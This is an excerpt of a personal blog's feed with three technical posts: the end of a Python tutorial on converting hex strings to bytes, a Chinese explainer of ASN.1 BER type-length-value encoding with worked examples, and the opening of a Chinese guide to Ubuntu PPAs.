&lt;p&gt;Below, are the ways to Python Convert Hex String To Bytes in &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.geeksforgeeks.org&#x2F;python-programming-language&#x2F;&quot;&gt;Python&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Using &lt;code&gt;bytes.fromhex() Function&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Using &lt;code&gt;bytearray.fromhex() Function&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Using&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.geeksforgeeks.org&#x2F;python-list-comprehension&#x2F;&quot;&gt; List Comprehension &lt;&#x2F;a&gt;&lt;code&gt;Function&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Using &lt;code&gt;binascii.unhexlify() Function&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;convert-hex-string-to-bytes-using-bytes-fromhex-function&quot;&gt;Convert Hex String To Bytes Using &lt;code&gt;bytes.fromhex() Function&lt;&#x2F;code&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;In this example, below code initializes a hex string &quot;1a2b3c&quot; and converts it to bytes using the  method, storing the result in the variable . The subsequent print statements display the types of the original hex string, the resulting bytes, and the type of the bytes object.&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;python3&quot;&gt;Python3&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;hex_string = &amp;quot;1a2b3c&amp;quot;
bytes_result = bytes.fromhex(hex_string)
print(type(hex_string))
print(bytes_result)
print(type(bytes_result))
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;class &amp;#x27;str&amp;#x27;&amp;gt;
b&amp;#x27;\x1a+&amp;lt;&amp;#x27;
&amp;lt;class &amp;#x27;bytes&amp;#x27;&amp;gt;

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;convert-hex-string-to-bytes-using-bytearray-fromhex-function&quot;&gt;Convert Hex String To Bytes Using &lt;code&gt;bytearray.fromhex() Function&lt;&#x2F;code&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;In this example, below code defines a hex string &quot;1a2b3c&quot; and converts it to a bytearray using the  method, storing the result in the variable . The subsequent print statements display the type of the original hex string, the resulting bytearray, and the type of the bytearray object.&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;python3-1&quot;&gt;Python3&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;hex_string = &amp;quot;1a2b3c&amp;quot;
bytes_result = bytes.fromhex(hex_string)
print(type(hex_string))
print(bytes_result)
print(type(bytes_result))
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;class &amp;#x27;str&amp;#x27;&amp;gt;
bytearray(b&amp;#x27;\x1a+&amp;lt;&amp;#x27;)
&amp;lt;class &amp;#x27;bytearray&amp;#x27;&amp;gt;

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;convert-hex-string-to-bytes-using-list-comprehension-function&quot;&gt;Convert Hex String To Bytes Using List Comprehension &lt;code&gt;Function&lt;&#x2F;code&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;In this example, below code initializes a hex string “1a2b3c” and converts it to bytes using a&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.geeksforgeeks.org&#x2F;python-list-comprehension-and-slicing&#x2F;&quot;&gt; list comprehension&lt;&#x2F;a&gt; and the `int()` function. The resulting bytes are stored in the variable `bytes_result`. The subsequent print statements display the type of the original hex string, the resulting bytes, and the type of the bytes object.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;python3-2&quot;&gt;Python3&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;hex_string = &amp;quot;1a2b3c&amp;quot;
bytes_result = bytes([int(hex_string[i:i+2],
                          16) for i in range(0, len(hex_string), 2)])
print(type(hex_string))
print(bytes_result)
print(type(bytes_result))
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;class &amp;#x27;str&amp;#x27;&amp;gt;
b&amp;#x27;\x1a+&amp;lt;&amp;#x27;
&amp;lt;class &amp;#x27;bytes&amp;#x27;&amp;gt;

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;convert-hex-string-to-bytes-using-binascii-unhexlify-function&quot;&gt;Convert Hex String To Bytes Using &lt;code&gt;binascii.unhexlify() Function&lt;&#x2F;code&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;In this example, below code uses the  module to convert the hex string &quot;1a2b3c&quot; to bytes using the  function. The resulting bytes are stored in the variable . The subsequent print statements display the type of the original hex string, the resulting bytes, and the type of the bytes object.&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;python3-3&quot;&gt;Python3&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;import binascii
hex_string = &amp;quot;1a2b3c&amp;quot;
bytes_result = binascii.unhexlify(hex_string)
print(type(hex_string))
print(bytes_result)
print(type(bytes_result))
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;class &amp;#x27;str&amp;#x27;&amp;gt;
b&amp;#x27;\x1a+&amp;lt;&amp;#x27;
&amp;lt;class &amp;#x27;bytes&amp;#x27;&amp;gt;

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;&#x2F;h3&gt;
&lt;p&gt;Converting a hex string to bytes in Python can be accomplished using various methods, and the choice of method often depends on the specific requirements of the task at hand. The methods presented in this article are simple, commonly used, and cover a range of scenarios. Depending on the context and the nature of the hex data, you can choose the method that best fits your needs.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>网络管理：基本编码规则(BER)</title>
        <published>2024-09-05T00:00:00+00:00</published>
        <updated>2024-09-05T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/网络管理-基本编码规则-ber/"/>
        <id>https://vercel.juzhong.asia/obsidian/网络管理-基本编码规则-ber/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/网络管理-基本编码规则-ber/">&lt;h1 id=&quot;wang-luo-guan-li-ji-ben-bian-ma-gui-ze-ber&quot;&gt;网络管理：基本编码规则(BER)&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ber-encoding&#x2F;ber-tlv-encoding-structure.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jian-dan-bian-ma-gui-ze&quot;&gt;简单编码规则&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;linfangnan&#x2F;p&#x2F;14711368.html#1737405426&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;基本编码规则(Basic Encoding Rule)把 ASN.1 表示的抽象类型值编码为字节串，这种字节串的结构为&lt;strong&gt;类型—长度—值&lt;&#x2F;strong&gt;，简称 TLV(Type-Length-Value)。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ber-encoding&#x2F;ber-tlv-structure.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;其中 Type 和 Length 都是1个字节，而且值部分还可以递归地再编码为 TLV 结构，这样就具有了表达复杂结构的能力。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ber-encoding&#x2F;ber-tlv-structure-2.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;编码的第一个字节表示 ASN.1 类型或用户定义的类型，前2位用于区分 4 种标签，第 3 位用于区分简单类型和构造类型，其余 5 位表示标签的值。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ber-encoding&#x2F;ber-type-field-bits.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;结合上述的说明，总结出 Type 字段的编码格式如下：
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ber-encoding&#x2F;ber-type-field-encoding.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;留个悬念：5 位 2 进制的表示范围是 0~31，为什么对标签号的扩充以 30 为界限？&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jian-dan-bian-ma-li-ti&quot;&gt;简单编码例题&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;linfangnan&#x2F;p&#x2F;14711368.html#1605847941&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;h2 id=&quot;bu-fen-chang-yong-biao-qian&quot;&gt;部分常用标签&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;linfangnan&#x2F;p&#x2F;14711368.html#902197197&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ber-encoding&#x2F;ber-common-tags-table.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;li-ti-yi&quot;&gt;例题一&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;linfangnan&#x2F;p&#x2F;14711368.html#2445503214&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;布尔类型 FALSE、TRUE 的编码，都用一个字节表示，FALSE 是 00，TRUE 是 FF。Bool 类型是通用标签 UNIVERSAL，属于简单类型，标签号为 1 号。根据上述的表格就可以写出 Type 字段的二进制表示为 00000001，十六进制表示为 01。由于 FALSE、TRUE 都用一个字节表示，因此 L 字段值为 00000001，十六进制表示为 01。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Type&lt;&#x2F;th&gt;&lt;th&gt;Length&lt;&#x2F;th&gt;&lt;th&gt;Value&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;00 0 00001&lt;&#x2F;td&gt;&lt;td&gt;00000001&lt;&#x2F;td&gt;&lt;td&gt;00000000&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;01&lt;&#x2F;td&gt;&lt;td&gt;01&lt;&#x2F;td&gt;&lt;td&gt;00&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Type&lt;&#x2F;th&gt;&lt;th&gt;Length&lt;&#x2F;th&gt;&lt;th&gt;Value&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;00 0 00001&lt;&#x2F;td&gt;&lt;td&gt;00000001&lt;&#x2F;td&gt;&lt;td&gt;11111111&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;01&lt;&#x2F;td&gt;&lt;td&gt;01&lt;&#x2F;td&gt;&lt;td&gt;FF&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;li-ti-er&quot;&gt;例题二&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;linfangnan&#x2F;p&#x2F;14711368.html#347731315&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;十进制数 256 的编码，把这个数用二进制表示就是 00000001 00000000，十六进制为 01 00 需要 2 字节。int 类型是通用标签 UNIVERSAL，属于简单类型，标签号为 2 号，根据上述的表格就可以写出 Type 字段：00000010。由于这个数用二进制表示需要 2 字节，所以 L 字段值为 00000010，十六进制表示为 02。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Type&lt;&#x2F;th&gt;&lt;th&gt;Length&lt;&#x2F;th&gt;&lt;th&gt;Value&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;00 0 00010&lt;&#x2F;td&gt;&lt;td&gt;00000010&lt;&#x2F;td&gt;&lt;td&gt;00000001 00000000&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;02&lt;&#x2F;td&gt;&lt;td&gt;02&lt;&#x2F;td&gt;&lt;td&gt;01 00&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;li-ti-san&quot;&gt;例题三&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;linfangnan&#x2F;p&#x2F;14711368.html#540832403&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;比特串 10101 的编码，由于传输时以字节为最小单位，不足部分补 0，因此需要有额外的字节来表示有多少比特是补足的。比特串第三个字节 03 表示值部分的最后 3 个比特未用，第四个字节是值部分，A8H 即 10101000。由于需要 2 个字节表示，所以 L 字段值为 02。
bit str 类型是通用标签 UNIVERSAL，属于简单类型，标签号为 3 号，根据上述的表格就可以写出 Type 字段：00000011。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Type&lt;&#x2F;th&gt;&lt;th&gt;Length&lt;&#x2F;th&gt;&lt;th&gt;Value&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;00 0 00011&lt;&#x2F;td&gt;&lt;td&gt;00000010&lt;&#x2F;td&gt;&lt;td&gt;00000011 10101000&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;03&lt;&#x2F;td&gt;&lt;td&gt;02&lt;&#x2F;td&gt;&lt;td&gt;01 A8&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;li-ti-si&quot;&gt;例题四&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;linfangnan&#x2F;p&#x2F;14711368.html#480776838&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;h2 id=&quot;zhe-ge-bu-dui-ba-ying-gai-shi-zi-fu-chuan-ace-dui-ying-0x61-63-65-zui-zhong-bian-ma-ying-gai-shi-04-03-61-63-65&quot;&gt;这个不对吧？ 应该时字符串ACE 对应0x61 63 65 最终编码应该是 04 03 61 63 65&lt;&#x2F;h2&gt;
&lt;p&gt;字节串 ACE 的编码，由于字节串总是占用整数个字节，因而不必说明未占用的比特数。没有说明值的位都认为是 0，故最后一个字节写为 E0，可见字节串类型也遵循靠左存放的原则。
octet str 类型是通用标签 UNIVERSAL，属于简单类型，标签号为 4 号，根据上述的表格就可以写出 Type 字段：00000100。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Type&lt;&#x2F;th&gt;&lt;th&gt;Length&lt;&#x2F;th&gt;&lt;th&gt;Value&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;00 0 00100&lt;&#x2F;td&gt;&lt;td&gt;00000010&lt;&#x2F;td&gt;&lt;td&gt;10101100 11100000&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;04&lt;&#x2F;td&gt;&lt;td&gt;02&lt;&#x2F;td&gt;&lt;td&gt;AC E0&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;li-ti-wu&quot;&gt;例题五&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;linfangnan&#x2F;p&#x2F;14711368.html#3776180614&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;NULL 的编码，NULL 类型只有一个值 NULL，其标签是 UNIVERSAL 5。由于这个类型是空类型，无需存储或传送它的值，第二个字节 00 表示值长度为 0。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Type&lt;&#x2F;th&gt;&lt;th&gt;Length&lt;&#x2F;th&gt;&lt;th&gt;Value&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;00 0 00101&lt;&#x2F;td&gt;&lt;td&gt;00000000&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;05&lt;&#x2F;td&gt;&lt;td&gt;00&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;li-ti-liu&quot;&gt;例题六&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;linfangnan&#x2F;p&#x2F;14711368.html#1723790127&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;序列类型 SEQUENCE{madeofwood BOOLEAN, length INTEGER} 的值 {madeofwood TRUE，length 62}的编码。SEQUENCE 类型是通用标签 UNIVERSAL，属于构造类型，标签号为 16 号，根据上述的表格就可以写出 Type 字段：00110000。
此处用到的是 TLV 结构的嵌套方式，表示出了 SEQUENCE 类型的编码。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ber-encoding&#x2F;ber-sequence-encoding-example.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;li-ti-qi&quot;&gt;例题七&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;linfangnan&#x2F;p&#x2F;14711368.html#2710697598&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;集合类型 SET{breadth INTEGER, bent BOOLEAN} 的值 {breadth 7, bent FALSE} 的编码。SET 类型是通用标签 UNIVERSAL，属于构造类型，标签号为 17 号，根据上述的表格就可以写出 Type 字段：00110001。由于集合类型的元素是无序的，所以有 2 种编码的方式。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ber-encoding&#x2F;ber-set-encoding-example.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;li-ti-ba&quot;&gt;例题八&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;linfangnan&#x2F;p&#x2F;14711368.html#2405333437&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;在安全协议设计中定义了一个口令字类型，并赋予应用标签 27：Password::=[APPLICATION 27] OCTET STRING。Password 是 APPLICATION 类型标签，是构造类型，标签号为 27 号，根据上述的表格就可以写出 Type 字段：01111011。
对于这个类型的一个值 “Sesame”，可得到如下编码：
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ber-encoding&#x2F;ber-password-tag-encoding.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zi-duan-kuo-chong&quot;&gt;字段扩充&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;linfangnan&#x2F;p&#x2F;14711368.html#2687953589&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;h2 id=&quot;dui-biao-qian-zhi-kuo-chong&quot;&gt;对标签值扩充&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;linfangnan&#x2F;p&#x2F;14711368.html#4033299514&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;kuo-chong-qing-kuang&quot;&gt;扩充情况&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;linfangnan&#x2F;p&#x2F;14711368.html#1487376991&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;例如写出标签[APPLICATION 35]的二进制表示，写出来是 01110001 1 需要 9 位二进制才能编码，但是 Type 是 1 个字节显然不够，这时就需要对标签值进行扩充。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ber-encoding&#x2F;ber-tag-extension-method.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;kuo-chong-fang-fa&quot;&gt;扩充方法&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;linfangnan&#x2F;p&#x2F;14711368.html#292888437&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;当标签值大于 30 时，需要进行扩充。方法是当标签值大于等于 31 时这 5 位置全 1 作为&lt;strong&gt;转义符&lt;&#x2F;strong&gt;，实际的标签值编码表示在后续字节中。
后续字节的左边第一位表示是否为最后一个扩充字节，只有最后一个扩充字节的左边第一位置 0，其余扩充字节的左边第一位置 1。这样每个扩充字节只用了 7 位表示标签值的编码。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ber-encoding&#x2F;ber-tag-expansion.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;kuo-chong-yang-li&quot;&gt;扩充样例&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;linfangnan&#x2F;p&#x2F;14711368.html#4194200345&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;例如标签值 101 10010101 111001，由于表示标签号的二进制位数超过 5 位需要字段扩充。因此将标签值按照 7 位一组分开，其中最后一个字节的第一位置为 0，其他 2 个字节的第一位置为 1，用 0 填充空位后可编码为：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;undefined&quot; class=&quot;language-undefined &quot;&gt;&lt;code class=&quot;language-undefined&quot; data-lang=&quot;undefined&quot;&gt;×××11111  10000101  11001010  01111001
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;dui-length-zi-duan-kuo-chong&quot;&gt;对 Length 字段扩充&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;linfangnan&#x2F;p&#x2F;14711368.html#3370372131&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;kuo-chong-qing-kuang-1&quot;&gt;扩充情况&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;linfangnan&#x2F;p&#x2F;14711368.html#1371291089&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Length 字段用于表示 Values 字段有多少字节，Length 为 1 个字节最多表示 Values 最多有 2^8 个字节。 当值部分长度超级长，超过了 2^8 个字符，Length 字段(8 位二进制)还能够表示出 Value的长度吗？显然不行，所以需要进行扩充。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ber-encoding&#x2F;ber-length-encoding.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;kuo-chong-fang-fa-1&quot;&gt;扩充方法&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;linfangnan&#x2F;p&#x2F;14711368.html#2322864383&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;对长度字节的扩充方法是当小于 127 的数用长度字节的右边 7 位表示，最左边的一位置 0。
大于等于 127 的数用后续若干字节表示，原来的长度字节第一位置 1，其余 7 位指明后续用于表示长度的字节数。值得注意的是长度字节可表示的最大值为 126 而不是 127，这个值是为以后扩充保留的。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ber-encoding&#x2F;ber-length-field-extension.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;kuo-chong-yang-li-1&quot;&gt;扩充样例&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;linfangnan&#x2F;p&#x2F;14711368.html#2500943097&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;例如 L 字段的值为 321 时，由于 321 的二进制表示为 00000001 01000001 需要 2 字节，需要进行扩充。原来的长度字节第一位置 1，其余 7 位指明后续用于表示长度的字节数，此处扩充 2 个字节因此为 10000010，扩充后表示为：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;basic&quot; class=&quot;language-basic &quot;&gt;&lt;code class=&quot;language-basic&quot; data-lang=&quot;basic&quot;&gt;10000010 ‭00000001 01000001
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;can-kao-zi-liao&quot;&gt;参考资料&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;linfangnan&#x2F;p&#x2F;14711368.html#3279392397&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;《计算机网络管理(第三版)》雷震甲 编著，西安电子科技大学出版社&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>在 Ubuntu Linux 中使用 PPA</title>
        <published>2024-09-03T00:00:00+00:00</published>
        <updated>2024-09-03T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/在-ubuntu-linux-中使用-ppa/"/>
        <id>https://vercel.juzhong.asia/obsidian/在-ubuntu-linux-中使用-ppa/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/在-ubuntu-linux-中使用-ppa/">&lt;h1 id=&quot;zai-ubuntu-linux-zhong-shi-yong-ppa&quot;&gt;在 Ubuntu Linux 中使用 PPA&lt;&#x2F;h1&gt;
&lt;p&gt;自由和开放源码软件的创造者。一个热心的 Linux 用户和开源推动者。从阿加莎·克里斯蒂和夏洛克·福尔摩斯到哥伦布和埃勒里·奎恩侦探，都是经典侦探小说的超级粉丝。他也是一个电影迷，喜欢黑色电影。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;简述：这是一篇涵盖了在 Ubuntu 和其他 Linux 发行版中使用 PPA 遇到的几乎所有问题的深入的文章。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如果你一直在使用 Ubuntu 或其他基于 Ubuntu 的 Linux 发行版，如 Linux Mint, Linux Lite, Zorin OS 等，你可能会遇到类似的这三行神奇的命令：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo add-apt-repository ppa:dr-akulavich&amp;#x2F;lighttable
sudo apt-get update
sudo apt-get install lighttable-installer
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
